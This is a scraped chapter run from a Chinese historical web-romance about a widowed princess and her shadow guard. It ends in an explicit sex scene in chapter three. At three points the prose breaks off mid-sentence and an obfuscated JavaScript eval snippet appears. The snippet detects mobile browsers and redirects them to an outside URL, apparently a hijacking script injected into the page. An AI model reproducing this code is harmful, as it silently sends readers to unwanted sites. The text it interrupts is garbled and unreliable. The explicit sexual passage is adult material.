《长公主的阴冷暗卫》 1. 第一章 灵堂叩问 元和十八年春,灵堂的白幡在穿堂风里飘,像极了一片片游荡的魂。风穿过庭院,卷起尚未融尽的残雪,又将寒意送进堂内。明仪跪在丈夫姬武将军的牌位前,指尖冰凉,却不是为了那个名义上的夫君。 灵堂空荡,只有几个守夜的老仆在廊下打盹。宫里传来消息,少帝刚刚登基,朝堂尚且不稳,无人有余暇来凭吊一个战死的将军。 也好,明仪想:清净。 她一身素白孝服,未施脂粉,乌黑的发间别着一朵白绒花,衬得那张本就清冷的脸更添几分拒人千里的疏离。 弟弟死了,她哭了三天。那三天里,泪水像是决堤的江河,仿佛要把前二十年积攒的亲情一并流尽。如今丈夫死了,她心里却平静如死水。 姬武将军与她,不过是祖父为巩固大蒙统治而下的一步棋。自八年前塞外分居,他们之间便再无书信往来,连表面的夫妻情分也荡然无存。 窗外风声呼啸,带着早春不该有的寒意。明仪微微抬头,望向灵堂外那片灰蒙蒙的天。战乱的余声在洛安城外尚未散尽,隐约还能听见远方马蹄声和号角声。前朝覆灭,新帝即位,她这个大长公主的身份,现在成了尴尬的存在。 “公主,夜已深,该歇息了。”老嬷嬷小心翼翼地走近,声音轻得像怕惊扰了什么。 明仪摆了摆手,没有回头。嬷嬷犹豫片刻,终是退下了。脚步声远去,灵堂又恢复了死寂。只有蜡烛燃烧时偶尔发出的噼啪声,和着风声,在空旷的堂内回荡。 她的手指轻轻抚过冰冷的青石地面。这地面曾是她儿时玩耍的地方,那时祖父尚在,父母健在,弟弟还是个小团子,追在她身后唤“阿姐”。如今,他们都成了牌位上的名字,成了史书里的几行字。 明仪闭上眼,脑海里浮现的却不是那些逝去的亲人,而是一个身影。挺拔如松,沉默如山,总是站在她身后三步之遥的阴影里,像一道永不消失的影子。 她睁开眼,望着跳动的烛火。外面风声更大了,像是要将整个府邸掀翻。忽然,一道闪电划破夜空,紧接着雷声滚滚而来。暴雨倾盆而下,敲打着屋顶和窗棂,发出密集的响声。 明仪起身,走到窗前。庭院里已积起水洼,雨幕厚重得看不清对面的廊庑。又是一道闪电,将天地照得亮如白昼。就在那一瞬间,她似乎看见庭院对面廊下,站着一个黑影。 心跳骤然加速。她定睛再看,却只见雨幕重重,哪有什么人影。明仪自嘲地笑了笑,大约是连日疲惫,眼花了。她转身欲回到牌位前,却听见窗棂处传来轻微的叩击声。 一下,两下,三下。规律的,克制的,却不容忽视。 明仪僵在原地,手指无意识地攥紧了袖口。这个信号,她太熟悉了。八年来,每当风雨交加的夜晚,这个信号总会准时响起。那是她和他之间的秘密,是这冰冷岁月里唯一温暖的存在。 她迟疑着走向窗前,指尖触到冰凉的木框。又是一声叩击,比之前更急了些。明仪深吸一口气,推开了窗。 风雨立刻灌了进来,吹得她睁不开眼。待她勉强适应了风雨的侵袭,才看清窗外站着一个黑影。 浑身湿透,黑衣紧贴在身上,勾勒出精壮的身形。雨水顺着他的下颌线滴落,在惊雷的光亮中闪着银光。 “殿下。”他的声音低沉沙哑,像是许久未开口。 明仪后退半步,让他从窗外翻进来。他的动作轻巧如猫,落地无声。即便浑身湿透,他的气息依旧平稳,只有那双眼睛,在昏暗的灵堂烛光中,亮得惊人。 “燕云徹,”明仪唤他的名字,声音里是自己都未察觉的颤抖,“你怎么来了?” “......” 沉默许久后。 “现在外头形势不明,你不该——” “属下来看你。”他打断她的话,向前一步。雨水从他身上滴落,在地面上晕开深色的水渍。他身上带着外面的寒气,却又有一种灼热的气息,矛盾地交织在一起。 明仪这才发现,他的左臂有一道新伤,包扎的布条已被雨水浸透,隐隐渗出血色。 “你受伤了。”她皱眉,转身去取药箱。 手腕被一只湿冷的手握住。那只手布满茧子,力道却轻柔得不可思议。 “小伤,不碍事。”燕云徹的声音近在耳边,带着雨水的潮气,“属下来,是想告诉你一件事。” 明仪僵在原地,能感觉到他身上的湿意透过她的衣袖传到皮肤上。她应该挣脱,应该呵斥他无礼,应该保持公主应有的矜持和距离。但她没有。八年来,燕云徹早已不是普通的暗卫。他是她在这世上仅存的依靠,是在所有人都离她而去后,唯一还守在她身边的人。 “什么事?”她轻声问,没有回头。 燕云徹松开了手。明仪听见他退后半步的声音,心里竟涌起一丝失落。她转身看他,发现他已单膝跪地,低垂着头。 “公主,属下请命去北境。”他说,声音里有一种决绝,“姬武将军战死,北境军心不稳。我已向新帝请旨,接替将军之位,镇守边关。” 明仪的心脏像是被一只无形的手攥紧,几乎无法呼吸。她张了张嘴,却发不出声音。燕云徹要离开?要去那个夺走她名义丈夫性命的地方?要离开洛安,离开她? “为什么?”许久,她才找回自己的声音,干涩得像是沙石摩擦。 燕云徹抬起头,那双总是藏在阴影里的眼睛,此刻清晰地映着烛光。 “家国存亡,山河动荡。”他一字一句地说,每个字都像是从胸腔里挤压出来,“只有护住这万里河山,属下才能真正护住公主安全。” 雷声炸响,震得灵堂的烛火剧烈摇曳。明仪看着他,看着这个她从塞外救回来的少年,看着他成长为如今这个能够独当一面的男人。八年前,她在草原上遇见他时,他浑身是伤,奄奄一息,却死死握着一把断刀,眼神凶狠得像一头孤狼。 她将他带回了公主府,治好了他的伤,给了他一个暗卫的身份。起初只是怜悯,后来却发现这个沉默寡言的少年有着惊人的毅力和天赋。他学什么都快,武功进步神速,心思缜密得不像他这个年纪该有的。 再后来,他们之间渐渐有了某种说不清道不明的东西。他会记住她所有喜好,会在她做噩梦时守在门外,会在她为弟弟的病忧心时,默默寻来名医。他不善言辞,却用行动一点一点渗透进她的生命。 明仪知道,自己的心早已不属于自己。在姬武远赴边关,在弟弟病重,在父母相继逝去的这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129426|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年里,是燕云徹撑起了她摇摇欲坠的世界。他像是她生命中的一棵树,扎根深处,为她遮风挡雨。 “你知道自己在说什么吗?”明仪的声音冷了下来,那是她多年来保护自己的铠甲,“我是大蒙的长公主,即便现在新帝即位,我依然是皇室之人。而你——” “而属下曾是奴隶,是你的暗卫,是你从草原上捡回来的野狗。”燕云徹接过了她的话,嘴角扯出一个近乎自嘲的弧度,“公主,我知道自己的身份。正因如此,我才必须去北境。” “属下这条贱命,是公主给的,无以为报,只有军功,只有战功赫赫,属下才有资格再站在你面前......” “你疯了。”明仪转身,背对着他,手指无意识地绞在一起,“北境现在是什么情况你不知道吗?姬武带去三万精兵,回来不足五千。突厥人虎视眈眈,内部军心不稳,这时候去北境,等于送死!” “公主在担心我?”燕云徹的声音里有一丝难以察觉的笑意。 明仪猛地转身,素白的脸上因愤怒而泛起一丝薄红:“我是在担心大蒙的边防!是在担心你白白送死,浪费我当年救你的心血!” 话一出口,她就后悔了。她看见燕云徹眼中一闪而过的痛楚,虽然很快被掩饰过去,但她捕捉到了。八年来,她太熟悉他的每一个细微表情,甚至比熟悉自己还要多。 燕云徹站起身,高大的身影在烛光下拉得很长。他向前一步,又一步,直到与明仪只有咫尺之遥。明仪能闻到他身上雨水混杂着血腥的气息,能看见他眼中跳跃的烛火,能感觉到他身体散发出的热量。 “殿下,”他低声说,声音里有一种压抑已久的渴望,“八年了。我守在你身边八年,看着你独自面对这世间的风雨。我告诉自己,只要能保护你,什么身份都不重要。但现在,姬武死了,你自由了。我不想再等了。” 明仪的心脏狂跳,几乎要冲出胸膛。她想后退,脚下却像生了根。燕云徹的眼睛像是深渊,要将她吸进去。她见过他杀敌时的狠厉,见过他审问细作时的冷酷,见过他执行任务时的果决,却从未见过他如此直白地流露情感。 “燕云徹,你越矩了。”她强迫自己冷下声音,维持着公主的威严。 “我知道。”燕云徹不但不退,反而又近了一步。现在,他们之间的距离近得能感受到彼此的呼吸。“属下知道自己在做什么......” 一道闪电劈开夜空,将灵堂照得亮如白昼。明仪看见燕云徹眼中的自己,脸色苍白,眼中却有无法掩饰的动摇。雷声滚滚而来,震得她心头发颤。 “新帝不会同意的。”她找到一个借口,“即便你立下军功,皇室也不会允许长公主下嫁一个——” “少帝已经同意了。”燕云徹打断她的话。 明仪怔住,难以置信地看着他。 “我向少帝请旨时,提出了条件。”燕云徹的声音平静,却字字如锤,敲打在明仪心上,“若我能稳定北境,击退突厥,守住大蒙边关三年,少帝便赐婚。” “他答应了?”明仪的声音轻得几乎听不见。 “他需要有人稳住北境,我需要一个机会。”燕云徹说,“这是一场交易。公主,这是我唯一能光明正大娶你的路。” 2. 第二章 三年之约 “你说什么...” 明仪闭上眼睛,脑海中一片混乱。少帝,她那刚登基的侄子,正急于巩固自己的统治。北境不稳,确实是大患。用一桩婚事换取边关安宁,对少帝来说,确实是划算的买卖。 本来,少帝也有在她丈夫死后,想将她嫁与他人的想法。至于她的感受,从来不在皇室的考量之内。当年祖父将她嫁给姬武是如此,如今少帝应允燕云徹的条件,亦是如此。 可当“他要娶她”这句话真的从燕云徹口中脱出,明仪心里翻涌的情绪更盛了。 他们之间注定隔着君臣之别,如若不是从他口中听到他的心声,明仪甚至不敢想嫁给燕云徹这会成为事实。 “如果……你失败了呢?”她睁开眼睛,看着燕云徹,“如果你死在北境呢?!” 她不敢相信,自己的口中能道出这样的话。无论是对燕云徹的担心还是什么别的情感,在此刻都已经暴露了出来。 也许,在这些年间,她早已对燕云徹有了依赖。只是她自己都不愿意承认。 一个暗卫和一个公主,怎能生出这样的情分,更何况方才燕云徹在离别前,居然对她吐露了心声。 这些说不清道不明的情感,让她心里如今更是五味杂陈。 燕云徹笑了,那是明仪从未见过的笑容,带着野性和决绝。 “那末将便不配拥有你。”他说,“殿下,给我三年时间。三年后,若末将活着回来,我要殿下做我的妻子。若我死了……” 他顿了顿,眼中闪过一丝温柔:“若我死了,殿下就忘了我,找个真正配得上你的人。” “蠢货。”明仪低声骂了一句,眼泪却不受控制地滑落。她慌忙抬手去擦,却被燕云徹握住手腕。 他的手很烫,尽管刚刚淋了雨,却依然烫得像火。他的拇指轻轻擦过她的脸颊,拭去泪痕。这个动作如此亲密,如此自然,仿佛已经做过千百遍。 “别哭,”他的声音温柔下来,“您不该流泪。” 明仪想挣开,却发现自己浑身无力。八年的克制,八年的隐忍,在这一刻土崩瓦解。她看着眼前这个男人,这个从草原狼孩成长为足以撼动朝堂的男人,心中涌起一股前所未有的冲动。 “燕云徹,”她叫他的名字,声音哽咽,“你一定要活着回来。” 燕云徹的眼神暗了暗,像是有什么东西在深处燃烧。他松开她的手腕,却转而捧住她的脸。这个动作大胆得近乎僭越,但明仪没有推开他。烛火在风中摇曳,将两人的影子投在墙上,纠缠在一起,分不清彼此。 “殿下,”燕云徹的声音低沉沙哑,带着一种压抑的渴望,“末将能……讨个承诺吗?” 明仪知道他要什么。她的心跳如擂鼓,理智告诉她应该拒绝,应该维持公主的尊严和体统。但情感却像决堤的洪水,冲垮了所有防线。八年来,她一直将这份感情深埋心底,告诉自己那是不该有的奢望。但现在,姬武死了,束缚她的枷锁断了。燕云徹要去北境,要去那个九死一生的地方。 这一去便是三年,她该如何告诉自己,这三年里自己一个人没有他,自己度过? 如果这是他们最后一面呢?如果他真的死在北境呢? 明仪闭上眼睛,踮起脚尖,吻上了燕云徹的唇。 这个动作如此大胆,如此不合礼数,如此不像她。但她做了,毫不犹豫。燕云徹的唇冰冷,带着雨水的味道,但很快就变得灼热。他先是僵住,随即反应过来,一手揽住她的腰,一手托住她的后颈,将这个吻加深。 这是一个压抑了八年的吻,带着绝望和渴望,像是要将彼此融入骨血。明仪能尝到泪水的咸涩,分不清是她的还是他的。男人的吻霸道而热烈,却又在某个瞬间温柔得令人心碎。灵堂外风雨交加,灵堂内烛火摇曳,两个身影紧紧相拥,仿佛这世间只剩下彼此。 许久,燕云徹才松开她,额头抵着她的额头,呼吸粗重。“殿下,”他声音沙哑,“等我三年。” 明仪点头,眼泪又滑落下来。她恨自己的软弱,恨自己无法像他一样决绝。但她控制不住。这个她爱了八年却不敢承认的男人,如今要去赴一场生死未卜的约,只为换取一个站在她身边的资格。 “你一定要回来。”她重复道,声音里带着哀求。 燕云徹松开她,后退一步,单膝跪地,行了一个标准的军礼。 “臣,燕云徹,定不负公主所托。”他说,然后起身,深深看了她一眼,像是要将她的模样刻在灵魂深处。 他走向窗前,雨水依旧滂沱。明仪想叫住他,想让他等雨停了再走,想让他多留一会儿。但话到嘴边,又咽了回去。她知道,燕云徹必须走,必须在被人发现之前离开。 燕云徹翻出窗外,回头看了她最后一眼。又是一道闪电,照亮了他脸上复杂的神情——不舍,决绝,爱恋,还有一丝孤注一掷的疯狂。 “等我。”他说,然后消失在雨幕中。 明仪冲到窗前,只看见一个黑影在雨中几个起落,便消失在庭院深处。她靠在窗边,任由风雨打在脸上,混合着泪水。手指无意识地抚过嘴唇,那里还残留着燕云徹的温度和气息。 灵堂的烛火在风中摇曳,忽明忽暗。姬武将军的牌位静静立在供桌上,仿佛在无声地嘲讽这场发生在灵堂的私情。明仪转身,看着那个名义上丈夫的牌位,心中一片平静。 她不爱姬武,从未爱过。他们的婚姻是一场政治交易,是两个家族利益的结合。姬武也不爱她,他在塞外有自己的生活,甚至早已有自己喜欢的女人。而她,要为了所谓名存实亡的关系,守着本分,不能打破桎梏,他们的婚姻早已名存实亡,如今姬武战死,不过是给这段关系画上一个正式的句号。 但燕云徹不同。他是她生命中意外闯入的光,是她在这冰冷宫廷中唯一的温暖。八年前救下他时,她从未想过,那个满身是伤的少年,会成长为如今这个让她心甘情愿等待的男人。 明仪走回牌位前,重新跪下。但这一次,她的心中不再是一片死寂。那里燃起了一簇火苗,微弱却坚定。燕云徹给了她一个承诺,一个三年之约。她要等,等他从北境归来,等他堂堂正正地站在她面前,等他兑现那个“娶她”的诺言。 窗外风雨渐歇,天色开始泛白。一夜将尽,新的一天即将开始。明仪站起身,腿脚因为久跪而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三个月前,北境传来最后一次军报——燕云徹率三千精锐追击突厥残部深入草原,遭遇暴风雪,音讯全无。朝堂哗然,少帝震怒,已派人搜寻月余,却只找到几具冻僵的尸体和被雪掩埋的兵器。 所有人都说,燕将军回不来了。 明仪不信。或者说,她不愿信。 这三年里,少帝为她相看了不下十位“良人”——有年轻有为的文臣,有家世显赫的世家子,甚至还有一位丧妻的藩王。每一次,她都婉言谢绝,理由从“孝期未满”到“心绪不佳”,再到后来,干脆闭门谢客。 朝中渐渐有了闲话。说长公主克夫克亲,命中带煞;说她心高气傲,谁也看不上;甚至有人说,她在等什么人。 明仪从不在意这些流言。她只知道,她要等。等一个承诺,等一个可能永远不会回来的人。 尽管燕云徹对她说过的话,从来都不会不算数,但是北境此战的凶险,她不是不知晓。 这三年,所有的苦楚与难熬,只有她自己知晓。 “公主,宫里的灯会开始了,少帝派人来请了三次。”老嬷嬷小心翼翼地走近,手里捧着一件孔雀蓝织金斗篷,“您真的不去吗?” 3. 第三章 上元佳节 明仪摇了摇头。三年前的那个雨夜后,她就很少参加宫宴了。每次看到少帝那些精心挑选的“人选”,她都觉得可笑又可悲。在皇家眼中,她永远只是一枚棋子,可以用来联姻,可以用来笼络人心,却从来不是有自己意愿的人。 “回话说,我身体不适。”明仪淡淡道,“另外,把府里的灯都点上吧。” “全都点上?”老嬷嬷有些惊讶。长公主府有三百六十五盏灯,是当年大婚时先帝赏赐的,平日只在年节时才全部点亮。 “嗯,全都点上。”明仪望向北方的天空,“今天是个特别的日子。” 老嬷嬷不敢多问,躬身退下。不久,整个长公主府亮如白昼,连最偏僻的角落都挂上了花灯。明仪独自走向后院的观星台,那是整个府邸最高的地方,可以望见半个洛安城,也能望见北方的天空。 三年前,燕云徹就是从这条路上离开的。那夜暴雨如注,他浑身湿透,却眼神灼灼地对她许下承诺。三年了,一千多个日夜,每一日她都在数,都在等。 观星台上风很大,吹得她的斗篷猎猎作响。明仪扶着栏杆,望向北方。那里只有一片漆黑,没有灯火,没有马蹄声,什么都没有。 “你在哪里……”她低声自语,声音被风吹散。 三年来,她不是没有动摇过。尤其是在深夜独自醒来,看着空荡的寝殿;在病中无人依靠,只能自己喝药;在听到朝中那些闲言碎语,却无人为她辩驳的时候。她也曾问自己,等一个可能已经死去的人,值得吗? 但每次想到燕云徹那双眼睛,想到他说“等我三年”时的神情,她就无法放弃。那是她生命中唯一一次,有人不是为了她的身份,不是为了利益,只是单纯地为了她这个人,去拼命,去搏一个未来。 远处传来钟声。子时了。 三年之约,到期了。 明仪闭上眼睛,感觉有什么温热的东西从脸颊滑落。她等到了最后一刻,等到了约定的最后一天,最后一个时辰。可是他没有来。 也许,他真的回不来了。 也许,三年前的那个雨夜,那个吻,那个承诺,都只是一场梦。 明仪松开握着栏杆的手,准备转身离开。就在这时,她听见观星台下传来一阵轻微的骚动。很轻,几乎被风声和远处的喧闹掩盖,但她听到了。 那是金属摩擦的声音,是靴子踏在石板上的声音,是某种熟悉又陌生的脚步声。 明仪猛地转身,望向楼梯口。 一个身影缓缓走上观星台。他走得很慢,似乎每一步都很艰难。他穿着一身玄色劲装,外罩一件破旧的黑色大氅,风帽遮住了大半张脸。他手中拄着一柄长剑,不是用来装饰的那种,而是战场上用的、饮过血的剑。 明仪僵在原地,心脏像是停止了跳动。她不敢呼吸,不敢眨眼,生怕这一切又是自己的幻觉。 那人走到观星台中央,停下了脚步。他缓缓抬起头,掀开风帽。 那是一张明仪熟悉却又陌生的脸。熟悉的是眉眼轮廓,是那双深邃如夜的眼睛。陌生的是那道从额角划到下颌的伤疤,是那双眼睛里沉淀的沧桑和疲惫,是那张原本英俊的脸如今布满了风霜的痕迹。 但他确实是燕云徹。 他瘦了很多,也黑了很多。三年北境的沙场征战,在他身上留下了不可磨灭的印记。他的背依然挺直,但明仪能看出,他的左腿有些不便,每走一步都微微滞涩。 两人对视着,谁也没有说话。风声在耳边呼啸,远处传来上元佳节的喧闹和烟花绽放的声音。但他们之间,只有沉默。 许久,燕云徹动了。他拄着剑,单膝跪地,动作有些僵硬,却依旧标准。 “臣,燕云徹,”他的声音沙哑得几乎听不出原来的音色,“赴三年之约,归来复命。” 明仪还是没有动。她看着他跪在那里,看着那道狰狞的伤疤,看着他握着剑柄的手上布满的茧子和冻疮留下的痕迹,看着他微微颤抖的肩膀——不是因为寒冷,而是因为伤痛。 她忽然想起三年前那个雨夜,他也是这样跪在她面前,说:“等我三年。” 现在,他回来了。带着满身伤痕,带着九死一生的经历,但他回来了。 明仪终于动了。她一步一步走向他,脚步很轻,却很坚定。她走到他面前,蹲下身,与他平视。 “你受伤了。”她说,声音平静得连自己都惊讶。 燕云徹抬起头,看着她。三年不见,她清瘦了些,眉眼间多了几分沉静,少了几分从前的疏离。她还是那么美,素白的脸上未施脂粉,在灯火的映照下,像是玉雕的一般。 “小伤。”他说,简短得一如从前。 明仪伸出手,指尖轻轻触上他脸上的伤疤。燕云徹微微一颤,但没有避开。她的指尖很凉,触感却柔软得不可思议。 “疼吗?”她问。 燕云徹摇了摇头,目光始终没有离开她的脸。三年了,一千多个日夜,他在草原上,在雪地里,在尸山血海中,无数次想起这张脸。想起她清冷的眉眼,想起她偶尔流露的温柔,想起三年前那个雨夜,她踮起脚尖吻他的模样。 那是支撑他活下来的唯一念想。 “起来。”明仪说,伸手去扶他。 燕云徹借着她的力站起身,但很快松开了手。他退后一步,保持着恰当的距离。这个动作刺痛了明仪——三年不见,他依然谨记着身份之别。 “少帝知道你已经回来了吗?”明仪问。 “臣刚进城,尚未进宫复命。”燕云徹说,“臣……先来了这里。” 这句话说得平静,却让明仪心头一震。他刚回洛安,连宫都没进,就先来见她。这意味着什么,她很清楚。 “你……”明仪想说什么,却忽然发现他大氅的下摆有深色的痕迹。她皱眉,伸手去碰,指尖触到一片濡湿。 是血。 “你受伤了。”这次不是疑问,而是肯定。明仪的声音冷了下来,“为什么不先去治伤?” 燕云徹沉默了片刻,才低声道:“今日是三年之约的最后一日。臣答应了殿下,要在今日回来。” “所以你就带着伤,连夜赶路?”明仪的声音里有了怒意,“燕云徹,你知不知道这样会死?” “臣知道。”燕云徹看着她,眼中有什么东西在涌动,“但臣更知道,若今日不来,殿下会以为臣死了,会放弃等待。” 明仪怔住了。他说的没错。如果今夜他没有出现,她会以为他死了,会放弃等待,也许会接受少帝的安排,嫁给一个不认识的人,度过余生。 “蠢货。”她低声骂了一句,和三年前一模一样。 燕云徹嘴角微微扬起,那是明仪熟悉的、几乎看不见的笑容。“殿下骂得对。” 明仪深吸一口气,强迫自己冷静下来。“跟我来。”她转身走下观星台,没有回头,但她知道,燕云徹会跟上。 他们穿过灯火通明的庭院,走进内室。明仪吩咐侍女准备热水、干净的布和伤药,然后屏退了所有人。 室内只剩下他们两人。烛火摇曳,将两人的影子投在墙上。明仪走到燕云徹面前,伸手去解他的大氅。 “殿下,臣自己来。”燕云徹后退一步。 “别动。”明仪的声音不容置疑,“你手上有伤,不方便。” 燕云徹僵在原地,看着她解开大氅的系带。玄色的大氅滑落在地,露出里面同样玄色的劲装。明仪这才看见,他的左肩有一处明显的伤口,虽然已经简单包扎过,但血迹已经渗透了布料。 “坐下。”明仪指着窗边的软榻。 燕云徹依言坐下。明仪走到他身边,开始解他上衣的系带。她的手指很稳,没有丝毫颤抖,但燕云徹能感觉到,她的呼吸有些急促。 外衣解开,露出里面白色的里衣。左肩处的血迹更加明显,已经晕开一大片。明仪用剪刀小心地剪开布料,露出下面的伤口。 那是一处箭伤,伤口很深,虽然已经不再流血,但周围红肿发炎,显然没有得到妥善处理。 明仪的眉头皱得更紧。“什么时候伤的?” “七天前。”燕云徹说,“在回洛安的路上,遇到了突厥残兵的埋伏。” “七天……”明仪的声音有些发抖,“你就这样带着伤赶了七天路?” “臣必须今日赶到。”燕云徹重复道,声音平静得近乎果决。 明仪不再说话。她仔细地清洗伤口,上药,包扎。她的动作很轻,很仔细,仿佛在对待什么易碎的珍宝。燕云徹始终沉默着,只有在她触碰到伤口时,才会微微紧绷肌肉。 处理完肩上的伤,明仪又检查了他身上的其他伤口。大大小小,新旧叠加,有刀伤,有箭伤,还有冻伤留下的疤痕。每一道伤,都是一次生死搏杀。 明仪的手指轻轻抚过他胸口一道最深的伤疤。那道疤从左胸一直到肋下,只差一点就会致命。 “这是什么时候?”她问。 “去年冬天。”燕云徹说,“在狼山,被突厥大将阿史那戈的弯刀所伤。” “怎么活下来的?” “想着殿下。”燕云徹说,声音很低,却清晰地传入明仪耳中,“想着要回来见殿下,不能死。” 明仪的手顿住了。她抬起头,看着燕云徹。烛光下,他的脸一半在明,一半在暗,那道伤疤在光影中显得格外狰狞。但他的眼睛,那双她熟悉的眼睛,依然清澈,依然坚定,依然藏着深不见底的情感。 “燕云徹,”她叫他的名字,声音有些哽咽,“你这三年,是怎么过来的?” 燕云徹沉默了很久,久到明仪以为他不会回答。就在她准备放弃的时候,他开口了。 “第一年,整顿北境军务,击退三次突厥进攻。第二年,深入草原,烧了突厥三个部落的粮草。第三年,与突厥主力决战于阴山,斩首三万,俘虏阿史那戈。”他顿了顿,“三个月前,追击残部,遭遇暴风雪,三千精锐,只回来了八百。” 他说得很简略,但明仪能想象出那是什么样的场景。尸山血海,冰天雪地,每一次战斗都是生死一线。而他,就在那样的环境中,战斗了三年,活了下来,只为了今日能站在她面前。 “为什么……”明仪的声音颤抖得厉害,“为什么要这么拼命?” 燕云徹看着她,眼中终于有了一丝波动。“因为臣答应过殿下,要活着回来。因为臣答应过殿下,要用军功换取站在您身边的资格。”他伸出手,轻轻握住明仪的手,“因为臣……爱慕殿下,从八年前被殿下救下的那一刻起,就从未改变。” 这句话他说得很慢,很重,每一个字都像是用尽了全身力气。 明仪的眼泪终于落了下来。三年了,她从未在人前哭过,即使在得知他可能已经死去的消息时,她也只是把自己关在房间里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129428|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默流泪。但现在,在他面前,她再也控制不住。 燕云徹抬手,用拇指擦去她的眼泪。这个动作和三年前一模一样,只是他的手更加粗糙,布满了茧子和伤疤。 “别哭,”他说,“臣回来了。” 明仪摇摇头,眼泪却流得更凶。“我以为……我以为你死了……” “臣不会死。”燕云徹说,声音里有一种近乎偏执的坚定,“臣答应过殿下,就一定会做到。” 明仪看着他,看着这个伤痕累累却依然挺直脊背的男人,看着这个用三年时间、用一身伤痛换来回来的男人。忽然,她踮起脚尖,吻上了他的唇。 和三年前那个雨夜的吻不同,这个吻更加温柔,更加缠绵,带着失而复得的庆幸和深深的心疼。燕云徹僵了一瞬,随即伸手揽住她的腰,将她紧紧拥入怀中。 这个吻很长,长到明仪几乎无法呼吸。她能尝到他唇上的血腥味,能感觉到他身体的颤抖,能听见他胸腔里急促的心跳。这一刻,什么君臣之别,什么身份之差,什么礼教规矩,都不重要了。重要的是,他回来了,他还活着,他还爱着她。 许久,燕云徹才松开她,额头抵着她的额头,呼吸粗重。“殿下,”他的声音沙哑得厉害,“臣身上脏……” “我不在乎。”明仪打断他,手指抚上他的脸,“燕云徹,我要你。” 这句话大胆得近乎放荡,但从她口中说出来,却如此自然,如此坚定。 燕云徹的眼神暗了暗,像是有火焰在深处燃烧。“殿下知道自己在说什么吗?” “知道。”明仪看着他,眼中没有半分犹豫,“三年前我就知道。我知道我爱你,知道我想和你在一起,知道除了你,我谁也不要。” 燕云徹的呼吸更加急促。他紧紧抱着她,像是要将她融入骨血。“殿下……臣现在一无所有,只有一身伤疤和……” “我要的就是你。”明仪再次打断他,“燕云徹,我要的是你这个人,不是你的军功,不是你的爵位,只是你。” 燕云徹闭上眼睛,再睁开时,眼中最后一丝克制消失了。他打横抱起明仪,走向内室的床榻。他的动作很轻,即使抱着她,也没有碰到肩上的伤口。 床幔落下,隔绝了外界的灯火和喧嚣。烛光透过纱帐,在两人身上投下朦胧的光影。明仪看着燕云徹,看着他慢慢解开她的衣带,看着他眼中压抑了八年的渴望终于决堤。 他的吻落了下来,从额头到眉眼,从脸颊到脖颈,一路向下。他的动作很温柔,却又带着一种不容拒绝的强势。明仪能感觉到他身上的伤疤,能感觉到他紧绷的肌肉,能感觉到他灼热的体温。 当两人终于赤裸相对时,明仪看见了他身上所有的伤。那些狰狞的疤痕,那些还未完全愈合的伤口,那些战斗留下的印记。她伸出手,轻轻抚过每一道伤,像是在抚摸一段段惊心动魄的往事。 “疼吗?”她又问了一遍。 燕云徹摇摇头,握住她的手,按在自己心口。“这里不疼了。”他说,“因为殿下在这里。” 明仪的眼泪又落了下来。她抱住他,紧紧抱住,仿佛要将他身上所有的伤痛都拥入怀中。 那一夜,他们抵死缠绵。三年的思念,三年的等待,三年的煎熬,都在这一刻爆发。燕云徹的吻时而温柔时而粗暴,他的动作时而克制时而疯狂,像是在确认她的存在,又像是在弥补三年的缺失。 明仪从未经历过这样的情事。和姬武的婚姻有名无实,她从未体会过男女之欢。而此刻,在燕云徹身下,她感受到了从未有过的欢愉和痛苦交织的极致体验。她咬着唇,不让自己发出声音,但燕云徹像是知道她的隐忍,用更加激烈的动作逼出她的呻吟。 窗外,上元佳节的灯火渐渐熄灭,烟花不再绽放,喧闹渐渐平息。但室内,两人的缠绵才刚刚开始。 当最后来临时,明仪紧紧抱住燕云徹,指甲陷入他背上的伤疤。燕云徹闷哼一声,却没有停下,反而更加深入,直到两人同时到达顶点。 许久,明仪才从余韵中缓过神来。她躺在燕云徹怀中,能听见他有力的心跳,能感觉到他身体的温度。他的手臂环着她,小心地避开她的伤口。 “殿下,”燕云徹的声音在黑暗中响起,“臣明日要进宫复命。” 明仪点点头。“我知道。” “然后,臣会向少帝请旨。”燕云徹继续说,“请少帝兑现三年前的承诺,赐婚。” 明仪抬起头,在黑暗中看着他。“如果我侄儿他不答应呢?” “那臣就辞去所有官职,带殿下离开洛安。”燕云徹的声音平静而坚定,“去江南,去塞外,去哪里都好。只要能和殿下在一起。” 明仪笑了,那是三年来第一个真心的笑容。“好。” 燕云徹低头吻了吻她的额头。“睡吧,殿下。臣在这里,不会再离开了。” 明仪闭上眼睛,感受着他的体温和气息。三年前那个雨夜,她也是这样在他怀中入睡,醒来时他就不见了。但这一次,她知道,他不会再离开了。 窗外,天边泛起鱼肚白。新的一天开始了,而他们的新生活,也开始了。 元和二十一年,上元夜,北境将军燕云徹赴三年之约归来,长公主明仪终于等到了她的爱人。而在不久的将来,一场震动朝野的婚事,将拉开序幕。 但那是明天的事了。今夜,他们只有彼此。 4. 第四章 北境封侯 元和二十一年,正月十七。 